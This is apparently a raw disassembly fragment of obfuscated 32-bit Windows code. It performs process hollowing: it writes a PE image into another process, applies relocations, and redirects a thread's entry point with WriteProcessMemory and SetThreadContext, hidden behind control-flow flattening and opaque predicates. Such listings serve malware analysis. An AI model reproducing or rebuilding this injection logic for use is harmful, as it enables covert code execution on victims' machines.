mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xcc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe0]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov dword [ebp - 0xf8], 0x5fbc13b2
jmp 0x1000647c
mov ecx, dword [0x10067338]
mov eax, dword [0x10067334]
mov edx, ecx
sub edx, 0x3e24d337
sub edx, 1
add edx, 0x3e24d337
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1906faf7
mov ecx, 0x689988b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000647c
mov dword [ebp - 0xf8], 0x9b7b9433
jmp 0x1000647c
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xf8], 0x3653cd44
jmp 0x1000647c
mov dword [ebp - 0xf8], 0x4343bc3a
jmp 0x1000647c
mov dword [ebp - 0xf8], 0x93a98a1f
jmp 0x1000647c
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0xf8], 0x839e7fba
jmp 0x1000647c
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0xf8], 0xdbd1dafb
jmp 0x1000647c
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0xf0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xcc]
mov edx, dword [edx]
mov esi, dword [ebp - 0xe0]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
sub ecx, 0x30768bf9
add ecx, 0x18
add ecx, 0x30768bf9
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, 0x3f8cbd1e
add ecx, eax
sub ecx, 0x3f8cbd1e
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov dword [eax], 0
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov dword [ebp - 0xf8], 0x48fccd21
jmp 0x1000647c
mov eax, dword [ebp - 0xb4]
mov dword [eax], 0
mov dword [ebp - 0xf8], 0xf589e742
jmp 0x1000647c
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0xf8], 0xc5f46414
jmp 0x1000647c
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0xf8], 0x937bd1c6
jmp 0x1000647c
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0xf8], 0x1ecd127
jmp 0x1000647c
mov dword [ebp - 0xf8], 0xdba60dfa
jmp 0x1000647c
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0xf8], 0x4ebbb02a
jmp 0x1000647c
mov ax, word [ebp - 0x20]
movzx edx, ax
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xfff
mov eax, 0xffffffff
xor eax, 0x866e8f5f
or edx, ecx
or eax, 0x866e8f5f
xor edx, 0xffffffff
and edx, eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe0]
mov edx, dword [eax]
mov eax, dword [ebp - 0x98]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [ebp - 0xf8], 0x4bbc29d7
jmp 0x1000647c
jmp 0x100037b7